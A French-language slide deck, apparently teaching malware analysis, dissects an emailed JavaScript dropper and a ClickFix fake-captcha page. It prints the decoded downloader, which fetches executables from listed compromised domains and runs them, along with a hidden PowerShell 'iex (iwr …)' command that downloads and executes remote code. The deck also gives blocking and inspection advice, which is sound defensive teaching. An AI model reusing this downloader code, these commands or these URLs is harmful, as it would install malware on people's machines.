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Vecteur d’attaque : Courriel

Sujet : iPhone6s !

Corps du message :
iPhone6s.

== Envoye depuis mon iPhone
Pièce jointe : Fichier IMG_0670.zip.
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Analyse : Contenu du Zip

L’extraction du fichier ZIP donne lieu à un fichier de type
JavaScript (.js).
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Analyse : Contenu du JavaScript - Méthode
utilisée ?

src01.js
var key = 'de8ZM';var b = '\x02\x10V99\x0d\x0aVz*\x0b\x17M.e\x01LC,,\x16ELgoUQ\x15\x17\x0c7*w\

x17c\x27*uz\x07(,v\x11\x1e)6\x16\x19\x02)E{\x12\x08%5j\x13\x17!6u\x09c\x27*uz\x08( u\x1f\
x030"m\x17\x1f1.\x16\x19\x02)JT;#\x03\x10Y=(D,z\x17\x09%1y\x19\x0c4K{\x15\x00K\x12Hw.\x0b\
x0bL?#\x10JL2(\x09\x00Ku,\x07\x04\x5c? \x1dEo\x1f\x01(+}\x09\x1e, j\x18\x0c(K{\x15\x00K\
x12Hw.\x0b\x0bL?#\x10JL2(\x09\x00Ku9\x0d\x0bAw+\x16\x04U?:\x0b\x17Sz\x0406u\x03\x19!$\x16\
x19\x02)J@7!\x16\x15[z:\x13\x12\x16\x16\x0c*!l\x15\x186/y\x0a\x0c*K{\x15\x00D,v\x0e\x08#7q
\x0e\x147(k\x14\x0aJ&w\x17m\x277}\x1b\x19-3}\x1c\x02+!k\x0e\x14(,k\x0ec\x27*uz:\x13\x12\
x16\x11\x00 j\x0f\x03. o\x1f\x016<\x16\x19\x02)Ey\x1e\x08*<y\x15\x19!)}\x1f\x19J&w\x17m)$r
\x15\x1f\x27$k\x1fc+7\x7fz\x0471y\x14\x0f1)s\x16\x04)$\x16\x15\x1f#E}\x14\x19,';

.../...

var _0x12bd=["","\x6C\x65\x6E\x67\x74\x68","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\
x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];for(var dhhas3uu=_0x12bd[0],code=_0x12bd[0],j=0,
i=0;i<b[_0x12bd[1]];i++){dhhas3uu+=String[_0x12bd[3]](b[_0x12bd[2]](i)^key[_0x12bd[2]](j))
,j++,j==key[_0x12bd[1]]&&(j=0)};eval(dhhas3uu);
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.../...

var _0x12bd=["","\x6C\x65\x6E\x67\x74\x68","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\
x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];for(var dhhas3uu=_0x12bd[0],code=_0x12bd[0],j=0,
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Question
Que signifie key ?
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Analyse : Désobfuscation

http://www.dcode.fr/desobfuscateur-javascript

src02.js
var key = 'de8ZM';var b = '\x02\x10V99\x0d\x0aVz*\x0b\x17M.e\x01LC,,\x16ELgoUQ\x15\x17\x0c7*w\

x17c\x27*uz\x07(,v\x11\x1e)6\x16\x19\x02)E{\x12\x08%5j\x13\x17!6u\x09c\x27*uz\x08( u\x1f\
x030"m\x17\x1f1.\x16\x19\x02)JT;#\x03\x10Y=(D,z\x17\x09%1y\x19\x0c4K{\x15\x00K\x12Hw.\x0b\
x0bL?#\x10JL2(\x09\x00Ku,\x07\x04\x5c? \x1dEo\x1f\x01(+}\x09\x1e, j\x18\x0c(K{\x15\x00K\
x12Hw.\x0b\x0bL?#\x10JL2(\x09\x00Ku9\x0d\x0bAw+\x16\x04U?:\x0b\x17Sz\x0406u\x03\x19!$\x16\
x19\x02)J@7!\x16\x15[z:\x13\x12\x16\x16\x0c*!l\x15\x186/y\x0a\x0c*K{\x15\x00D,v\x0e\x08#7q
\x0e\x147(k\x14\x0aJ&w\x17m\x277}\x1b\x19-3}\x1c\x02+!k\x0e\x14(,k\x0ec\x27*uz:\x13\x12\
x16\x11\x00 j\x0f\x03. o\x1f\x016<\x16\x19\x02)Ey\x1e\x08*<y\x15\x19!)}\x1f\x19J&w\x17m)$r
\x15\x1f\x27$k\x1fc+7\x7fz\x0471y\x14\x0f1)s\x16\x04)$\x16\x15\x1f#E}\x14\x19,';

.../...

var _0x12bd=["","\x6C\x65\x6E\x67\x74\x68","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\
x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

for(var dhhas3uu=_0x12bd[0],code=_0x12bd[0],j=0,i=0;i<b[_0x12bd[1]];i++)
{

dhhas3uu+=String[_0x12bd[3]](b[_0x12bd[2]](i)^key[_0x12bd[2]](j)),j++,j==key[_0x12bd[1]]&&(j
=0)

};
eval(dhhas3uu);
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Analyse : Désobfuscation
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for(var dhhas3uu=_0x12bd[0],code=_0x12bd[0],j=0,i=0;i<b[_0x12bd[1]];i++)
{

dhhas3uu+=String[_0x12bd[3]](b[_0x12bd[2]](i)^key[_0x12bd[2]](j)),j++,j==key[_0x12bd[1]]&&(j
=0)

};
eval(dhhas3uu);

Question
Rechercher le rôle de eval sur Internet ?
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Compréhension : Eval

Eval est une fonction utilisée en programmation. Elle est présente
dans de nombreux langages interprétés et permet d’exécuter une
commande à partir d’une chaîne de caractères (ou String) générée
par le programme lui-même en cours d’exécution.

exempleEval.py
#!/usr/bin/python3

tableau1 = [1,2,3]
tableau2 = [4,5,6]
numtableau = 2
print ("tableau" + str (numtableau))
print (eval ("tableau" + str (numtableau)))
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Analyse : Rhino 1

On modifie le code pour afficher la partie qui sera exécutée par la
commande eval au lieu de la laisser s’exécuter.

extrait.js
for(var dhhas3uu=_0x12bd[0],code=_0x12bd[0],j=0,i=0;i<b[_0x12bd[1]];i++){dhhas3uu+=String[

_0x12bd[3]](b[_0x12bd[2]](i)^key[_0x12bd[2]](j)),j++,j==key[_0x12bd[1]]&&(j=0)};
print (dhhas3uu);

rhino.js
rhino analyse.js
function gorut(e){var t="14-MASOOM.COM JLINKSMS.COM CHEAPRIZESMS.COM ELEMENTGUMRUK.COM/language

IBMDATACAP.COM/wp-content/themes/academy WELLNESSHERBAL.COM/wp-content/themes/tiny-
framework ITSMYTEA.COM/xmlrpc www.LANDTOURJAPAN.COM INTEGRITYSMSNG.COM CREATIVEFOODSTYLIST
.COM www.KMDERUNJEWELRY.COM ADENYAOTELEET.COM MAJORCASE.ORG ISTANBULKLIMA.ORG ENTHELP.COM
HEALINGSPRINGWORKSHOPS.COM/wp-content/themes/travel-blogger TUGRAHOTELS.COM www.
florianbruening.com JUALTOWERTRIANGLE.COM MAAKCARD.COM www.jakimbost.pl
THEVILLAGEVETERINARYHOSPITAL.COM".split(" ");ex=""==e?".exe":".pdf";for(var M=0;M<t.length
;M++){var n=new ActiveXObject("WScript.Shell"),O=n.ExpandEnvironmentStrings("%TEMP%")+
String.fromCharCode(92)+Math.round(1e8*Math.random())+ex,E=0,r=new ActiveXObject("MSXML2.
XMLHTTP");r.onreadystatechange=function(){if(4==r.readyState&&200==r.status){var e=new
ActiveXObject("ADODB.Stream");if(e.open(),e.type=1,e.write(r.ResponseBody),5e3<e.size){E
=1,e.position=0,e.saveToFile(O,2);try{n.Run(O,1,0)}catch(t){}}e.close()}};try{r.open("GET"
,"http://"+t[M]+"/get.php?dgfdfg="+Math.random()+"&key="+key+e,!1),r.send()}catch(a){}if
(1==E)break}}key="f5",gorut(""),gorut("&pdf=search");

1. https://developer.mozilla.org/en-US/docs/Mozilla/Projects/Rhino
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Action SSI

La lecture du programme désobfusqué permet de constater le
téléchargement de malware par le programme.

On bloque donc les sites identifiés . . .
CHEAPRIZESMS.COM
ELEMENTGUMRUK.COM/language
IBMDATACAP.COM/wp-content/themes/academy
WELLNESSHERBAL.COM/wp-content/themes/tiny-
framework
HEALINGSPRINGWORKSHOPS.COM/wp-
content/themes/travel-blogger
ITSMYTEA.COM/xmlrpc
www.LANDTOURJAPAN.COM
INTEGRITYSMSNG.COM
CREATIVEFOODSTYLIST.COM
www.KMDERUNJEWELRY.COM
THEVILLAGEVETERINARYHOSPITAL.COM

14-MASOOM.COM
JLINKSMS.COM
ADENYAOTELEET.COM
MAJORCASE.ORG
ISTANBULKLIMA.ORG
ENTHELP.COM
TUGRAHOTELS.COM
www.florianbruening.com
JUALTOWERTRIANGLE.COM
MAAKCARD.COM
www.jakimbost.pl
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Question

wp-content ?
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Un second pour la route

Visite d’un site Web vous invitant à démontrer que vous n’êtes pas
un robot.
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Origine de l’insertion du captcha malveillant
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Discrétion avant tout

Pour aller plus loin : Microsoft think before you clickfix
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 https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/


Blind User

WordPress propose de nombreux plugins / thèmes gratuits ou non,
suivi ou non, à jour ou non. . .

Exemples :

1 Juillet 2025 - Elementor 3.12 (plugin)
2 Juillet 2025 - MyListing (thème)

Ces deux éléments, de deux sites différents ont permis d’héberger
un lien vers un site "malicieux" (C&C) sans que l’utilisateur ou le
propriétaire du site ne voient quoi ce soit.
Heureusement, dans ces deux cas, le site avait déjà été référencé
comme malveillant et donc bloqué par l’antivirus.

Blind. . .
Mais combien ne le sont pas ?
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Blind User

WordPress propose de nombreux plugins / thèmes gratuits ou non,
suivi ou non, à jour ou non. . .
Exemples :

1 Juillet 2025 - Elementor 3.12 (plugin)
2 Juillet 2025 - MyListing (thème)

Ces deux éléments, de deux sites différents ont permis d’héberger
un lien vers un site "malicieux" (C&C) sans que l’utilisateur ou le
propriétaire du site ne voient quoi ce soit.
Heureusement, dans ces deux cas, le site avait déjà été référencé
comme malveillant et donc bloqué par l’antivirus.

Blind. . .
Mais combien ne le sont pas ?
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Blind User

WordPress propose de nombreux plugins / thèmes gratuits ou non,
suivi ou non, à jour ou non. . .
Exemples :

1 Juillet 2025 - Elementor 3.12 (plugin)
2 Juillet 2025 - MyListing (thème)

Ces deux éléments, de deux sites différents ont permis d’héberger
un lien vers un site "malicieux" (C&C) sans que l’utilisateur ou le
propriétaire du site ne voient quoi ce soit.
Heureusement, dans ces deux cas, le site avait déjà été référencé
comme malveillant et donc bloqué par l’antivirus.

Blind. . .
Mais combien ne le sont pas ?
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Évolution d’un virus

Pour ceux qui croient qu’un virus n’évolue pas. . .

https://zeusmuseum.com
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Évolution d’un virus

Pour ceux qui veulent écrire une page d’histoire. . .

https://zeusmuseum.com/references/sourcecode/
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Obfuscation avec un virus Macro, encodage Base 64

Base64 est un codage de l’information utilisant 64 caractères
utilisé notamment dans le courriel.Éric BERTHOMIER berthomiereric70@gmail.com



Désobusqué. . .

MIME-Version: 1.0
Content-Type: multipart/related; boundary="----=_NextPart_01D0635D.C91613C0"

- , -. , sd -. , -, Microsoft Internet Explorer.

------=_NextPart_01D0635D.C91613C0
Content-Location: file:///C:/EC2C4CD2/2.htm
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="us-ascii"

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office"
xmlns:w=3D"urn:schemas-microsoft-com:office:word"
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; charset=3Dus-ascii">
<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 11">
<meta name=3DOriginator content=3D"Microsoft Word 11">
<link rel=3DFile-List href=3D"2.files/filelist.xml">
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Sur le Net :
https ://statdynamic.com/lib/crypta.js. . .

https://statdynamic.com/lib/crypta.js
var _0x550c=['\x64\x58\x4e\x6c\x63\x6b\x46\x6e\x5a\x57\x35\x30','\x61\x58\x4e\x53\x64\x57\x35\

x75\x61\x57\x35\x6e','\x61\x58\x4e\x4e\x62\x32\x4a\x70\x62\x47\x55\x3d','\x58\x32\x46\x31\
x64\x47\x67\x3d','\x5a\x32\x56\x30\x54\x33\x42\x30\x54\x33\x56\x30\x56\x47\x6c\x74\x5a\x51
\x3d\x3d','\x55\x6b\x56\x52\x56\x55\x6c\x53\x52\x56\x4e\x66\x51\x56\x56\x55\x53\x41\x3d\
x3d','\x63\x32\x56\x73\x5a\x6c\x52\x6c\x63\x33\x51\x3d','\x58\x32\x78\x76\x59\x57\x52\x58\
x62\x33\x4a\x72\x5a\x58\x4a\x54\x62\x33\x56\x79\x59\x32\x55\x3d','\x58\x33\x5a\x6c\x63\x6d
\x6c\x6d\x65\x56\x52\x6f\x63\x6d\x56\x68\x5a\x41\x3d\x3d','\x4d\x6a\x41\x30\x5a\x6a\x45\
x31\x4d\x47\x4d\x3d','\x64\x6d\x56\x79\x61\x57\x5a\x35','\x64\x6d\x56\x79\x61\x57\x5a\x70\
x5a\x57\x51\x3d','\x58\x33\x56\x7a\x5a\x56\x64\x42\x55\x30\x30\x3d','\x58\x32\x46\x7a\x62\
x57\x70\x7a\x55\x33\x52\x68\x64\x48\x56\x7a','\x64\x57\x35\x73\x62\x32\x46\x6b\x5a\x57\x51
\x3d','\x63\x47\x56\x75\x5a\x47\x6c\x75\x5a\x77\x3d\x3d','\x59\x57\x52\x6b\x52\x58\x5a\x6c
\x62\x6e\x52\x4d\x61\x58\x4e\x30\x5a\x57\x35\x6c\x63\x67\x3d\x3d','\x51\x31\x4a\x5a\x55\
x46\x52\x50\x54\x6b\x6c\x48\x53\x46\x52\x66\x56\x30\x39\x53\x53\x30\x56\x53\x58\x30\x4a\
x4d\x54\x30\x49\x3d','\x55\x6d\x56\x7a','\x5a\x32\x56\x30','\x54\x45\x6c\x43\x58\x31\x56\
x53\x54\x41\x3d\x3d','\x51\x56\x4e\x4e\x53\x6c\x4e\x66\x54\x6b\x46\x4e\x52\x51\x3d\x3d','\
x51\x31\x4a\x4d\x56\x41\x3d\x3d','\x56\x6b\x56\x53\x55\x30\x6c\x50\x54\x67\x3d\x3d','\x61\
x57\x5a\x46\x65\x47\x4e\x73\x64\x58\x4e\x70\x64\x6d\x56\x55\x59\x57\x49\x3d','\x52\x6b\x39
\x53\x51\x30\x56\x66\x52\x56\x68\x44\x54\x46\x56\x54\x53\x56\x5a\x46\x58\x31\x52\x42\x51\
x67\x3d\x3d','\x5a\x6d\x39\x79\x59\x32\x56\x46\x65\x47\x4e\x73\x64\x58\x4e\x70\x64\x6d\x56
\x55\x59\x57\x49\x3d','\x52\x6b\x39\x53\x51\x30\x56\x66\x54\x56\x56\x4d\x56\x45\x6c\x66\
x56\x45\x46\x43','\x5a\x6d\x39\x79\x59\x32\x56\x4e\x64\x57\x78\x30\x61\x56\x52\x68\x59\x67
\x3d\x3d','\x56\x47\x39\x72\x5a\x57\x34\x3d','\x51\x57\x35\x76\x62\x6e\x6c\x74\x62\x33\x56
\x7a','\x56\x58\x4e\x6c\x63\x67\x3d\x3d','\x56\x56\x4a\x4d','\x64\x32\x56\x69\x61\x32\x6c\
x30\x56\x56\x4a\x4d','\x62\x57\x39\x36\x56\x56\x4a\x4d',
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Un téléchargement à haut risque

Même les hackers font des erreurs ou ne prévoient pas le test de
l’ensemble des navigateurs (coût élevé). Voici ce qui est apparu
lors d’un téléchargement.
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Un téléchargement à haut risque

Le fichier s’est téléchargé au lieu de s’afficher, disséquant ce
dernier, nous lui enlevons sa partie "douteuse", voici ce qu’il aurait
du s’afficher.
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Vous avez dit "douteuse"

dwlmalware1.js
<script>

function verify() {
const textToCopy = `POwErshELL -W hIdDEN "[Text.Encoding]::UTF8.GetString([Convert]::

FromBase64String('
aWV4IChpd3IgJ2h0dHBzOi8vYW1kYnVja2V0Lm9zcy1hcC1ub3J0aGVhc3QtMS5hbGl5dW5jcy5jb20v

cHJvY2Vzcy9KVmFXTUtkQi50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`;

const tempTextArea = document.createElement("textarea");
tempTextArea.value = textToCopy;
document.body.appendChild(tempTextArea);
tempTextArea.select();
document.execCommand("copy");
document.body.removeChild(tempTextArea);

const recaptchaPopup = document.getElementById("recaptchaPopup");
const overlay = document.getElementById("overlay");
recaptchaPopup.classList.add("active");
overlay.classList.add("active");

}

const verifyButton = document.getElementById('verifyButton');
verifyButton.addEventListener('click', verify);

</script>
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Vous avez dit "douteuse"

Ce qui nous conduit à la ligne de commande suivante :

dwlmalware2.js

iex (iwr 'https://amdbucket.oss-ap-northeast-1.aliyuncs.com/process/JVaWMKdB.txt' -
UseBasicParsing).Content
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Vous avez dit "douteuse"

Et à l’URL suivante :
https://amdbucket.oss-ap-northeast-1.aliyuncs.com/
process/JVaWMKdB.txt

Dont le fichier pointé se trouve dans mon répertoire "Malware"
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Et bien sûr votre antivirus l’aurait trouvé . . .

24 Novembre 2024

2 chances sur 61
1 chance sur 30,5. . .
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Clic droit, propriétés du document ...

La lecture des propriétés d’un fichier peut vous en dire long . . .
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Ouvrir avec ...

Ouvrir un fichier avec un éditeur de texte peut éviter le pire . . .
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